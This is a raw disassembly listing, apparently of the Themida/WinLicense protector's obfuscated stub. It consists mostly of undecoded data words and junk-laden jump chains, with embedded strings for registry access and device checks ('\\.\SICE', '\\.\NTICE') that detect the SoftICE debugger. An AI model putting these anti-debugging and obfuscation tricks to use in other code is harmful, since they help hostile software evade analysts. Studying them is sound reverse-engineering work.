dd 0E9243433h, 0FFFF21BAh, 0D1F7D9F7h, 72F8E981h, 0CE09B8ACh
dd 81D6F759h, 0D2941EEEh, 23A268C6h, 0F0E90000h, 81FFFFAAh
dd 5E7533EEh, 0BDBB534Bh, 293C713Bh, 34FF5BDEh, 31685F24h
dd 89000048h, 0E9542434h, 0FFFED5C7h, 69E8C681h, 0F10130DFh
dd 4C1835Eh, 0FF4E26E9h, 0C73195FFh, 41E9F831h, 0FFFFFFE0h
dd 81592434h, 4C4h, 59EA3000h, 0E95AD028h, 0FFFFB8EEh
dd 5024348Bh, 0FFBF85E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h
dd 0FF4987E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5577FD: ; CODE XREF: Themida_:00557AF8j
mov [esp], ecx
mov ecx, 4
add esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_556F4C
; ---------------------------------------------------------------------------
dw 3C89h
dd 0A9BE5624h, 52470708h, 4C29F3BAh, 2AF28163h, 0E9993B45h
dd 0FFFEF13Ah, 0DD88D388h, 8BEB885Bh, 0C483240Ch, 875C8804h
dd 241C8B01h, 0FFDB50E9h, 7EAC1FFh, 397C281h, 0D7296F61h
dd 81EF015Ah, 0BF022DC7h, 4BF5E96Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557862: ; CODE XREF: Themida_:0054D57Bj
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_554187
; ---------------------------------------------------------------------------
dd 0FF240489h, 0FF042474h, 51582434h, 0C1815954h, 4, 0FED2B6E9h
dd 243C8BFFh, 0FF12CBE9h, 50C9FEFFh, 2E99DB0h
db 97h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5578A3: ; CODE XREF: Themida_:00549BCEj
sub ecx, esi
mov esi, [esp]
add esp, 4
sub ebx, ecx
mov ecx, [esp]
push 7C4Dh
mov [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
pop dword ptr [eax]
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_5578D1: ; CODE XREF: Themida_:0055022Aj
add esi, edx
pop edx
add esi, ebp
sub esi, 30A95A40h
pop ebp
shl esi, 6
shl esi, 3
push 1126h
mov [esp], ecx
mov ecx, 0B89E5800h
jmp loc_546A8C
; ---------------------------------------------------------------------------
db 0BAh, 0B9h, 9
dd 0EAC10FA7h, 0C4F28107h, 0E95D661Bh, 0FFFFC777h
; ---------------------------------------------------------------------------
loc_557908: ; CODE XREF: Themida_:00554DA2j
pop esi
xchg eax, ebx
push esi
jmp loc_553785
; ---------------------------------------------------------------------------
loc_557910: ; CODE XREF: Themida_:0054AE3Dj
xor ecx, 730FD9C9h
add ebx, ecx
jmp loc_54E2F1
; ---------------------------------------------------------------------------
db 33h, 2Ch, 24h
dd 33242C31h, 248B242Ch, 24042824h, 0ADDAE99Ch, 0E789FFFEh
dd 4C781h, 0FBE90000h, 0B9FFFF65h, 7A4234Bh, 24E9CB89h
dd 1FFFF1Eh, 0D17AE9F0h, 0FE88FFFFh, 0FEFE8BE9h, 241489FFh
dd 0FF0978E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557961: ; CODE XREF: Themida_:0055642Cj
pop eax
inc eax
push ecx
mov ecx, 372D0F37h
xor ecx, 61C55396h
xor ecx, 75CF4188h
jmp loc_55401F
; ---------------------------------------------------------------------------
loc_55797A: ; CODE XREF: Themida_:00543310j
push edi
jmp loc_54FEDA
; ---------------------------------------------------------------------------
dd 99073305h, 242C8B53h, 0FECE9EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55798D: ; CODE XREF: Themida_:00555114j
sub esp, 4
mov [esp], esi
push edx
mov edx, 6B460206h
mov esi, edx
jmp loc_554851
; ---------------------------------------------------------------------------
db 29h
dd 34FF58C2h, 0C4815F24h, 4, 36A768h, 242C8900h, 4BDh
dd 5DEA0100h, 5C241487h, 8B2434FFh, 0E9562414h, 0FFFF45F2h
; ---------------------------------------------------------------------------
loc_5579D0: ; CODE XREF: Themida_:0054376Cj
pop ebx
jmp loc_546BD2
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 6858C201h, 6498h, 53240489h, 4BBh, 5B585300h, 0E958C201h
dd 0FFFF5D31h
; ---------------------------------------------------------------------------
loc_5579F8: ; CODE XREF: Themida_:0054814Dj
push small 19F8h
mov [esp], cx
jmp loc_5485D9
; ---------------------------------------------------------------------------
loc_557A05: ; CODE XREF: Themida_:00555F8Ej
mov esi, 77924930h
sub esi, 0FFFFFFFFh
add esi, 406A0B9Eh
xor esi, 654768A5h
shr esi, 6
shr esi, 3
xor esi, 1FB21E89h
xor esi, 17602269h
sub esi, 17C40C76h
dec esi
neg esi
add esi, 0F0F7550Bh
add ebp, esi
pop esi
xchg ebp, [esp]
pop esp
shr ecx, 0Ah
push 4AFEh
mov [esp], ebx
push edx
jmp loc_54A4A8
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC832404h, 242C8904h, 0BF57E589h, 76BA420Eh, 83FFC783h
dd 0C8904ECh, 9685224h, 5A76BA42h, 0FF040EE9h, 0E9AB2CFFh
dd 0FFFEF07Eh
; ---------------------------------------------------------------------------
loc_557A80: ; CODE XREF: Themida_:0054DC6Fj
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_552EF2
; ---------------------------------------------------------------------------
loc_557A98: ; CODE XREF: Themida_:0054BE42j
mov [esp], esi
mov esi, 2DE787Dh
add esi, 0CEF787Ch
neg esi
xor esi, 7CDB6049h
push edx
mov edx, esi
mov eax, edx
pop edx
jmp loc_54F7D4
; ---------------------------------------------------------------------------
db 33h, 2Ch, 24h
dd 0FFDF31E9h, 0D830ACFFh, 0FF4AE3E9h, 1C875FFFh, 24248B24h
dd 0E9240489h, 0FFFEC196h, 4B15166h, 85E9CC30h
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557AE3: ; CODE XREF: Themida_:0054EDF1j
push eax
jmp loc_554846
; ---------------------------------------------------------------------------
loc_557AE9: ; CODE XREF: Themida_:00550F5Cj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5577FD
; ---------------------------------------------------------------------------
loc_557AFD: ; CODE XREF: Themida_:00552305j
pop esp
jmp loc_552898
; ---------------------------------------------------------------------------
db 87h
dd 875D2404h, 0F7DBF7EBh, 4CEB81D3h, 0E91DC0EEh, 0FFFEF6F5h
; ---------------------------------------------------------------------------
loc_557B18: ; CODE XREF: Themida_:0054C8A3j
mov ebx, 18D74716h
mov ebp, ebx
pop ebx
sub esp, 4
jmp loc_54BDFF
; ---------------------------------------------------------------------------
db 5Ch
dd 0E9008F66h, 0FFFEBBB5h, 34D968h, 31F0E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557B3E: ; CODE XREF: Themida_:00552C38j
xor ebp, [esp]
xor [esp], ebp
jmp loc_54AB58
; ---------------------------------------------------------------------------
db 68h, 0C4h, 2Eh
dd 1C890000h, 0CC3AE924h, 3C8BFFFFh, 4C48324h, 53E08950h
dd 3E5C30BBh, 0E1DBE902h, 0AE8FFFEh, 39000000h, 910E2CA3h
dd 0BC936BA0h, 13E9E7h, 0AF740000h, 0D2296855h, 0AC2D3B60h
dd 0A88A3DC3h, 49C28ACFh, 0E9515958h, 5, 2781B57Bh, 0C1815BBCh
dd 5A8Ch, 7E96056h, 57000000h, 32B72665h, 9531C1ECh, 61F0755h
dd 685B61h, 66000000h, 0FD5EE081h, 0A9BD295Eh, 8B061F08h
dd 0DE8B3114h, 371EF281h, 816667D0h, 815023F0h, 84A477EAh
dd 4CBF6655h, 32C281BEh, 8B67720Ch, 1F2B7585h, 31148906h
dd 86D9D8Bh, 14E9061Fh, 18000000h, 513ABFC2h, 0F7762293h
dd 35B2C86Bh, 26BC4460h, 83F4C1B8h, 853104EEh, 61F084Dh
dd 0A658FE81h, 850FFFFFh, 1Fh, 2840Fh, 0E58A0000h, 22E9h
dd 0C0E4BE00h, 0A24E86B0h, 80D3D7B2h, 487ADFAEh, 0E9DB2878h
dd 0FFFFFF7Fh, 13BA3BF7h, 7FE1B68Fh, 0EB5946AAh, 45535536h
dd 2E323352h, 6C6C64h, 41564441h, 32334950h, 6C6C642Eh
dd 44544E00h, 642E4C4Ch, 0D7006C6Ch, 4000707h, 11001A00h
dd 11002800h, 24025000h, 0E908C7CEh, 91Dh, 21A09B68h, 0DDDCE906h
dd 368FFFDh, 0E90621A1h, 0FFFDDDD2h, 21A21168h, 0DDC8E906h
dd 9568FFFDh, 0E90621A3h, 0FFFDDDBEh, 21A42068h, 0DDB4E906h
dd 0FF68FFFDh, 0E90621A4h, 0FFFDDDAAh, 21A55968h, 0DDA0E906h
dd 4963FFFDh, 287D41B8h, 0E9C60D7h, 0F1B87CF3h, 0D3D3970Eh
dd 0B16BB72Eh, 9007FAACh, 0B128E7CCh, 0CF46BBEDh, 0EC639C0Bh
dd 26FEAA23h, 0B919B203h, 80EB0E81h, 29A2E750h, 0A21CF4A0h
dd 0FBAF1FD3h, 0F9B25ED7h, 8E15F081h, 0ACA47DAh, 0F6B4649Bh
dd 0ADD1790Bh, 2CDE1411h, 0EDA09767h, 0A8B5EB74h, 0BB7D2A53h
dd 25DACB7Bh, 2BC7EB93h, 0F5EA073Eh, 6E46F27Bh, 105EC46h
dd 3CF0294Dh, 3A6D2DAAh, 1EA15043h, 0A94DA12Fh, 3054ADF9h
dd 0BE375ADDh, 9107112h, 0E96216FCh, 0AC7E29h, 0C0B5128h
dd 0E28E07BBh, 0C0B510Ah, 0CE45E99Dh, 0FB629D0Ah, 1A1C5C40h
dd 574867FDh, 0AA000007h, 0C488FF02h, 0E3A71EE1h, 0FFC33AC7h
dd 1ADE55AAh, 0B2FE758Ch, 50B1F5F8h, 719E15D9h, 8F7236FAh
dd 0AC535418h, 47F36C35h, 19B2016Fh, 4557CA02h, 0B40B9D62h
dd 0E9950E83h, 15F50274h, 4BD44D01h, 0F541C79Fh, 80A65A25h
dd 36BEA7BAh, 97103429h, 0B930D1D7h, 0BC4EB3F5h, 0F9609F08h
dd 0F00A7894h, 0EF3C5BF1h, 42000006h, 5C20976Ah, 7B3FB649h
dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h
dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B20107h, 45EF629Ah
dd 0EE249D62h, 14CBEC8Fh, 0DE709401h, 0D102B61h, 953A17CEh
dd 19E6C171h, 13CB5687h, 94395128h, 0CBDC9CF0h, 56771034h
dd 4000000h, 249D6245h, 2CBE4164h, 72E96084h, 0D3A18559h
dd 1C0E991Fh, 0D3A19870h, 0D3772B1Fh, 4342F55Ch, 53079966h
dd 670BAF60h, 7C772EEEh, 9C44D629h, 0EBE66F8h, 0C841659Ch
dd 0F0D2381Ch, 0B62FE315h, 0D84FB2F6h, 67EB9414h, 41EAE31Eh
dd 0B5D4660Ah, 63Eh, 0F7BC7C3Eh, 5D098618h, 1FD3A185h
dd 9CC06418h, 0B244BBECh, 40B9DC5Bh, 0F08DEF94h, 71E89C15h
dd 0B1F9FAADh, 2B342FCEh, 37DBE99Dh, 82B51C93h, 6AEA960Fh
dd 0D1C1435h, 2157E059h, 2531AD7h, 0C8E292E4h, 43651539h
dd 258347BEh, 11964ADCh, 0A9F087EEh, 0DF75FA6Bh, 5E1C0h
dd 89783400h, 0A8574E12h, 0C43D6D31h, 0DF20894Dh, 0FF02A468h
dd 7B823C88h, 9B5FD62Bh, 0BC80F718h, 0DA9E15ECh, 0F2BB32CDh
dd 0FFF5CD79h, 508819B1h, 0D467CDDh, 6813E979h, 0D2D585A9h
dd 0A87EB42Dh, 0E7FACC06h, 0C542D4F8h, 385CA505h, 0C45E1F88h
dd 6C506090h, 5D35E15Ah, 0F01FD351h, 0D506983Ch, 0A7A1944Ah
dd 0D71FD353h, 94F27941h, 0FEEA96F0h, 7C23FFFFh, 0A16F47F3h
dd 4E021FD3h, 0C62D7A2Ah, 0E89022EDh, 0DD95CB44h, 15E45D29h
dd 0AF525808h, 0BF51751Dh, 41BACF68h, 0D9CD2681h, 0E7608428h
dd 0F018423Bh, 0AC23D715h, 269FF245h, 0F27B17Ah, 0B15DE61Ch
dd 2C1127D9h, 5B94B86Ch, 629815A7h, 1A70D5C4h, 20BCE0E5h
dd 2C10EC4Bh, 0AEAA34B3h, 0ECA17925h, 74342C10h, 428CC33h
dd 560D2B6Eh, 8822E203h, 1FC33C6Dh, 28C1E58Dh, 1B3h, 2A80EBB5h
dd 2FC1406Ah, 27106387h, 2A60E962h, 0FF2807ACh, 3DD9FD13h
dd 15F02684h, 32D26519h, 672C8335h, 5C490992h, 0CD6911A3h
dd 0FFCC83F5h, 5DB0D488h, 0B53EB7DAh, 0CC833109h, 0EC10C4FFh
dd 7F2AEA73h, 0D3C05C80h, 10F5E964h, 15A75A50h, 5C10496Dh
dd 0D1C473CAh, 96032258h, 0E95CEAFh, 24C571EAh, 0C9FC08F6h
dd 53139C15h, 671BAD52h, 0F61ABE43h, 279E6146h, 3BD1649Ah
dd 97361961h, 0B860F20Fh, 6740F014h, 85B03198h, 7F151A1Ch
dd 45D60h, 5FCB000h, 24DBCA8Eh, 40C1E9ADh, 5BA405C9h, 7B8620E4h
dd 0F7FEB804h, 17DB52AFh, 38FC739Ch, 561A9170h, 6E37AE51h
dd 0FE7149F5h, 0CC0419B1h, 0F4467C59h, 834D8057h, 0FF388BAFh
dd 1865118Ah, 9515F497h, 0A868E1h, 3DFD8A01h, 91ED116Ch
dd 5DFC6Dh, 0FE22CA5Ch, 2EA75A4Eh, 4521F9A5h, 0F4B425F5h
dd 16BE50BFh, 8BC4E72h, 7DF8B9Fh, 0AD25F545h, 0CCC0D302h
dd 35F52EB2h, 43E78B74h, 0A898BDCh, 120B6F0h, 3D2h, 37A8725h
dd 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh
dd 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0B1FDE4BCh
dd 0CC3F7719h, 1CC86245h, 1FD3A144h, 29BB4660h, 0E4944881h
dd 2AA3CC3h, 8F18CC5Eh, 9BBF659Bh, 0E21682BBh, 0D3396E46h
dd 274D011Fh, 819E4918h, 7103A782h, 0C29B540h, 1FD2D112h
dd 6DECAC42h, 0D901F094h, 8EFFFFFCh, 0B9D6245h, 950E83B4h
dd 0F0AED8E9h, 32A95D15h, 0D2946FA5h, 136D85D2h, 2BBD4263h
dd 0EBFC5F83h, 9BEE498Dh, 81BD7622h, 9E5215F0h, 0F4C16B0Bh
dd 1522BDE7h, 0BE7E0780h, 57F317EAh, 0C427156Ah, 4AA133E7h
dd 0A62FA8EDh, 32123670h, 0EB0FBEC1h, 459CAE4Fh, 269F53CAh
dd 47BE4166h, 74DB2483h, 4C5FC809h, 0F38FAE44h, 46000002h
dd 60249B66h, 7F43BA45h, 9B5FD62Bh, 0B67AF10Eh, 4E9A11F0h
dd 0EC159194h, 0D02B175h, 2BD6D296h, 48B7F0B4h, 0E38F08D1h
dd 19B1FE0Bh, 0A2F3669Eh, 0DB870095h, 15F50288h, 0C53FDF15h
dd 18FCD83Bh, 6D3BFB74h, 4F591D94h, 3B6C20B2h, 0B1265DC4h
dd 8D23F00Ah, 2996Eh, 41C0EC00h, 609F06CAh, 7C8525E9h
dd 97684105h, 0B74A5C20h, 333AF440h, 53178E73h, 7438AF60h
dd 9256CD34h, 0AA73EA15h, 0FCAD8531h, 84019B1h, 95A295h
dd 288DB87h, 611515F5h, 807F28E8h, 0FE93A209h, 1EE3C585h
dd 0F7BEE48Ch, 0EF273F3h, 0B965DE02h, 25F571DBh, 8438CA7Eh
dd 2A4DDF22h, 3CA677ADh, 5B81802Ah, 52765376h, 84FD04A2h
dd 36774FFBh, 1ECA25F5h, 25F53646h, 38EC25D9h, 0FF369D14h
dd 8565118Ah, 2825F536h, 0A565E274h, 0C66E0001h, 4AB5F2A2h
dd 0E21895B8h, 9D9C5590h, 0CB7B9F5Ah, 1FAC23DCh, 4612EA96h
dd 0F1A525F5h, 758A1DCDh, 31DD66E3h, 25F54559h, 0A1438ECh
dd 8559D825h, 0C69E4AD3h, 1925F545h, 0F545956Dh, 3B742825h
dd 2ED3D787h, 0A64D5A0Ah, 4EB3F500h, 0CB8F06AAh, 149123DCh
dd 1EB05F54h, 4A25276h, 0E4C484FDh, 0D0D78B1Dh, 51F59D2Fh
dd 0C0E79B2Dh, 0AFF9AD3Fh, 4E32CAD0h, 0CE720374h, 0A13DB83Ch
dd 0D3930C8Ch, 758A1FD4h, 5973BE3h, 6AA5751h, 1FB15056h
dd 6D85377h, 0FC738C1Bh, 1936E38h, 42C13CF3h, 0D421859Ch
dd 0F59D2FD2h, 9016DA51h, 7D2BDF71h, 0E360F284h, 55798623h
dd 891D04DAh, 0B54AA1F6h, 0DB547000h, 0F55A572Fh, 9236EA25h
dd 0AF50571Bh, 2901AD36h, 0BC25F55Bh, 0B252E408h, 4DC6821Ch
dd 0FE906F38h, 0FA1604Ah, 909D41D0h, 0C65B8302h, 6D9412E1h
dd 198E52C9h, 8E25D0DAh, 0A347EF81h, 51FD86FFh, 0DE68C179h
dd 2724D60Ch, 26CD2430h, 7E105C82h, 97CF9510h, 792DE173h
dd 0DA860F88h, 0DE68B302h, 2BBDE195h, 3FD12E77h, 50E21F8Bh
dd 627B746h, 0EB6D7100h, 4AE488B5h, 22627A8h, 31AA5552h
dd 8B24FCA8h, 3B7DE69h, 3A468DFh, 0A64AB5F0h, 177ABD14h
dd 99E5F29Eh, 0AE62D486h, 788FF35h, 55B597EEh, 0DC0001A5h
dd 5439FE65h, 9CC2FDBh, 0C579DAA9h, 0E8278C4Ch, 0AEA4C2C2h
dd 5E825844h, 708F18CCh, 8D7235F9h, 0F7487EFBh, 0D7CB8341h
dd 57690529h, 15F90F32h, 0DEC95886h, 0C1E6AA21h, 7C3CC53Eh
dd 9B43D52Ch, 8F7227FFh, 0F6CE7AF9h, 89F98F71h, 0D7DC9CD5h
dd 0DE709438h, 7807F2Ah, 0D9F6047h, 0BAF5059h, 44C355E7h
dd 0DF20879Ah, 5931DD66h, 75F98F71h, 933BCD32h, 0B82A65Ah
dd 269F6047h, 0EC74AF0h, 92B6F8B0h, 10E100h, 7C6A0000h
dd 0A16F47F3h, 4E021FD3h, 0D4F8079Eh, 67451F86h, 5354089Ah
dd 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh
dd 0E1C97D0Fh, 0CBDA8E20h, 5786A234h, 0BD55E789h, 4, 835DEF01h
dd 3C8704EFh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h
dd 2404895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53243C89h
dd 4F56AABBh, 7DBB84Ch, 2E254AB6h, 0D0BD378h, 0E163639h
dd 0B6243B35h, 3DAD2548h, 354064A9h, 0E4ED949h, 545BD831h
dd 83243C8Bh, 535004C4h, 0E02FA4BBh, 245C296Fh, 478F5B04h
dd 8478108h, 6FE02FA4h, 5F2434FFh, 0FF04C483h, 81582434h
dd 4C4h, 0D4D4E900h, 832BFFFDh, 8C11E455h, 1D4FCF93h, 0A817B8B2h
dd 0C5030621h, 0B142E0FFh, 0D86763B5h, 424C4651h, 0FB662840h
dd 7CD737D4h, 0F9A752DAh, 9D5341D1h, 51036C6Eh, 6E0C63E8h
dd 71E956D8h, 60000000h, 31ADBD83h, 0F00061Fh, 584h, 5CE900h
dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h
dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
dd 61F0BD9h, 96905090h, 6A9650h, 16E595FFh, 0C361061Fh
dd 202585C6h, 684D061Fh, 0BE2BF691h, 39243481h, 0FF1A1E80h
dd 1F2C51B5h, 4D858D06h, 0FF061F39h, 0E58589D0h, 0E8061F16h
dd 7, 0E85B8161h, 8B67EB8Eh, 0B6B45AC1h, 5DDCC281h, 5E570000h
dd 0F60C933h, 30B0C9B7h, 0A1C8B61h, 14E9h, 54CB0000h, 29002D47h
dd 892021FAh, 15C4DD67h, 58C2F396h, 48F381B6h, 968F863h
dd 1F1A0995h, 94EB8106h, 8957FE85h, 1F063185h, 85C38106h
dd 8B7898F0h, 1F0D8D85h, 0C0815306h, 273ABB02h, 890A048Fh
dd 1F0ABD8Dh, 9E806h, 4DE60000h, 0C1EB8036h, 58544725h
dd 0E538E981h, 858B6745h, 61F0E6Dh, 0E534C181h, 8D896745h
dd 61F2D4Dh, 0A2C0F981h, 850FFFFFh, 0FFFFFF7Dh, 0AAE9h
dd 666F5300h, 72617774h, 69575C65h, 63694C6Eh, 65736E65h
dd 65684300h, 4E496B63h, 72705800h, 7845746Fh, 43007469h
dd 6B636568h, 54554Fh, 4C6E6957h, 6E656369h, 65566573h
dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 76697244h
dd 65567265h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
dd 74736E49h, 65636E61h, 69784500h, 6B4F74h, 636F7250h
dd 50004E49h, 4F636F72h, 45005455h, 49746978h, 7845004Eh
dd 554F7469h, 70540054h, 4E49h, 2 dup(0)
dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0AAC78589h
dd 858D0621h, 621AAC3h, 2D858D50h, 500621AAh, 168h, 0D395FF80h
dd 6A0621AAh, 0C7B5FF19h, 6A0621AAh, 8D006A01h, 21AA5C85h
dd 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh, 621AAC3h
dd 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh, 89C3061Fh
dd 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h
dd 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh, 6A500621h
dd 8D006A04h, 21AA8685h, 0B5FF5006h, 621AAC3h, 2F8195FFh
dd 0B5FF061Fh, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
dd 2DF595FFh, 89C3061Fh, 21AAC785h, 0C3858D06h, 500621AAh
dd 0AA2D858Dh, 68500621h, 80000001h, 0AAD395FFh, 46A0621h
dd 0AAC7858Dh, 6A500621h, 8D006A04h, 21AA6E85h, 0B5FF5006h
dd 621AAC3h, 2F8195FFh, 0B5FF061Fh, 621AAC3h, 0AACF95FFh
dd 0B5FF0621h, 621AAC3h, 2DF595FFh, 89C3061Fh, 21AAC785h
dd 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h, 80000001h
dd 0AAD395FFh, 46A0621h, 0AAC7858Dh, 6A500621h, 8D006A04h
dd 21AA9985h, 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh
dd 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh
dd 89C3061Fh, 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh
dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh
dd 6A500621h, 8D006A04h, 21AA4985h, 0B5FF5006h, 621AAC3h
dd 2F8195FFh, 0B5FF061Fh, 621AAC3h, 0AACF95FFh, 0B5FF0621h
dd 621AAC3h, 2DF595FFh, 83C3061Fh, 1F0215BDh, 840F0006h
dd 0Bh, 2159D8Bh, 0C383061Fh, 0C303894Ch, 215BD83h, 0F00061Fh
dd 0B84h, 159D8B00h, 83061F02h, 38950C3h, 15BD83C3h, 61F02h
dd 0B840Fh, 9D8B0000h, 61F0215h, 8954C383h, 0BD83C303h
dd 61F0215h, 0B840F00h, 8B000000h, 1F02159Dh, 58C38306h
dd 83C30389h, 1F0215BDh, 840F0006h, 0Bh, 2159D8Bh, 0C383061Fh
dd 0C303895Ch, 858960C3h, 621AAC7h, 0AAC3858Dh, 8D500621h
dd 21AA2D85h, 1685006h, 0FF800000h, 21AAD395h, 8D046A06h
dd 21AAC785h, 46A5006h, 858D006Ah, 621AABEh, 0C3B5FF50h
dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh
dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
dd 2DF595FFh, 0C361061Fh, 0C7858960h, 8D0621AAh, 21AAC385h
dd 858D5006h, 621AA2Dh, 16850h, 95FF8000h, 621AAD3h, 858D046Ah
dd 621AAC7h, 6A046A50h, 0A0858D00h, 500621AAh, 0AAC3B5FFh
dd 95FF0621h, 61F2F81h, 6C1BD83h, 0F00061Fh, 0C84h, 0C3B5FF00h
dd 0FF0621AAh, 21AACF95h, 0C3B5FF06h, 0FF0621AAh, 1F2DF595h
dd 60C36106h, 0AAC78589h, 858D0621h, 621AAC3h, 2D858D50h
dd 500621AAh, 168h, 0D395FF80h, 6A0621AAh, 0C7858D04h
dd 500621AAh, 6A046Ah, 0AAA7858Dh, 0FF500621h, 21AAC3B5h
dd 8195FF06h, 83061F2Fh, 1F06C1BDh, 840F0006h, 0Ch, 0AAC3B5FFh
dd 95FF0621h, 621AACFh, 0AAC3B5FFh, 95FF0621h, 61F2DF5h
dd 8960C361h, 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh
dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh
dd 6A500621h, 8D006A04h, 21AAAF85h, 0B5FF5006h, 621AAC3h
dd 2F8195FFh, 0BD83061Fh, 61F06C1h, 0C840F00h, 0FF000000h
dd 21AAC3B5h, 0CF95FF06h, 0FF0621AAh, 21AAC3B5h, 0F595FF06h
dd 61061F2Dh, 858960C3h, 621AAC7h, 0AAC3858Dh, 8D500621h
dd 21AA2D85h, 1685006h, 0FF800000h, 21AAD395h, 8D046A06h
dd 21AAC785h, 46A5006h, 858D006Ah, 621AAB6h, 0C3B5FF50h
dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh
dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
dd 2DF595FFh, 0C361061Fh, 0C785C760h, 10621AAh, 8D000000h
dd 21AAC385h, 858D5006h, 621AA2Dh, 26850h, 95FF8000h, 621AAD3h
dd 840FC00Bh, 0Fh, 0AAC785C7h, 621h, 4DE90000h, 6A000000h
dd 0C7858D04h, 500621AAh, 6A046Ah, 0AA41858Dh, 0FF500621h
dd 21AAC3B5h, 8195FF06h, 0B061F2Fh, 0F840FC0h, 0C7000000h
dd 21AAC785h, 6, 0AE900h, 85C70000h, 621AAC7h, 1, 0AAC3B5FFh
dd 95FF0621h, 61F2DF5h, 0C7858B61h, 0C30621AAh, 0C7858960h
dd 8D0621AAh, 21AAC385h, 858D5006h, 621AA2Dh, 16850h, 95FF8000h
dd 621AAD3h, 858D046Ah, 621AAC7h, 6A046A50h, 41858D00h
dd 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F2F81h, 6C1BD83h
dd 0F00061Fh, 0C84h, 0C3B5FF00h, 0FF0621AAh, 21AACF95h
dd 0C3B5FF06h, 0FF0621AAh, 1F2DF595h, 60C36106h, 0AAC78589h
dd 858D0621h, 621AAC3h, 2D858D50h, 500621AAh, 168h, 0D395FF80h
dd 6A0621AAh, 0C7858D04h, 500621AAh, 6A046Ah, 0AA53858Dh
dd 0FF500621h, 21AAC3B5h, 8195FF06h, 83061F2Fh, 1F06C1BDh
dd 840F0006h, 0Ch, 0AAC3B5FFh, 95FF0621h, 621AACFh, 0AAC3B5FFh
dd 95FF0621h, 61F2DF5h, 85C6C361h, 61F2025h, 7B076852h
dd 0B5FFADE4h, 61F1BE5h, 24D595FFh, 8589061Fh, 621AAD3h
dd 202585C6h, 6852061Fh, 902E00E5h, 1BE5B5FFh, 95FF061Fh
dd 61F24D5h, 0AACF8589h, 85C60621h, 61F2025h, 12356852h
dd 0B5FFB9BFh, 61F1BE5h, 24D595FFh, 8589061Fh, 61F2F81h
dd 202585C6h, 6852061Fh, 98781034h, 1BE5B5FFh, 95FF061Fh
dd 61F24D5h, 2DF58589h, 85C6061Fh, 61F2025h, 0DBD46852h
dd 0B5FFC005h, 61F1BE5h, 24D595FFh, 8589061Fh, 61F3125h
dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
dd 5C5C0044h, 544E5C2Eh, 454349h, 8166C08Bh, 8B86F4C6h
dd 1F0CF995h, 0C1BD8306h, 61F06h, 0BD830975h, 61F1F51h
dd 50197400h, 0B8C08B53h, 40Fh, 0F658589h, 9D8D061Fh, 621AFA4h
dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h, 40Fh, 0F658589h
dd 9D8D061Fh, 621AC93h, 585BD3FFh, 666015B2h, 8B61D08Bh
dd 0B70F60C0h, 0C18D8BC1h, 61061F19h, 202585C6h, 5043061Fh
dd 6859F18Ah, 88578925h, 7E8h, 0C8E72700h, 0EC866EEEh
dd 59FA8B66h, 0D7240481h, 8B3436E5h, 1F05C595h, 0D9B5FF06h
dd 8D061F20h, 1F394D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0E8B320ABh, 7, 950A4189h
dd 14894CDh, 1F302D85h, 0D0FF5F06h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0C6C35343h, 5077C683h, 0F8EFB966h
dd 66240489h, 13E9FB8Bh, 0BA000000h, 62BB5088h, 83794AF5h
